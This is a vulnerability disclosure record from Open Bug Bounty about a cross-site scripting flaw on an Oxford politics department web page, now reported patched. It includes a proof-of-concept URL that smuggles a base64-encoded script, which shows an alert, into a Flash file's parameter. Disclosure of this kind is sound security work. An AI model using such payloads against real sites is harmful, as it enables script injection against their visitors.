politics.ox.ac.uk XSS vulnerability

2017-06-23T14:01:00
ID OBB:251734
Type openbugbounty
Reporter Thirup
Modified 2017-07-07T12:15:00

Description

Vulnerable URL:
https://www.politics.ox.ac.uk/materials/alumni/inspires2015/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg==
Details:

Description| Value
---|---
Patched:| Yes, at 06.07.2017
Latest check for patch:| 06.07.2017 11:44 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 2874
VIP website status:| Yes
Check politics.ox.ac.uk SSL connection:| (Grade: B+)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 23 June, 2017 14:01 GMT
Vulnerability existence verified and confirmed| 26 June, 2017 06:42 GMT
Generic security notifications sent to website owner| 26 June, 2017 06:42 GMT
Notification sent to subscribers (without technical details)| 26 June, 2017 10:17 GMT
Vulnerability details disclosed by researcher| 4 July, 2017 13:55 GMT
Vulnerability patched by the website owner| 7 July, 2017 12:15 GMT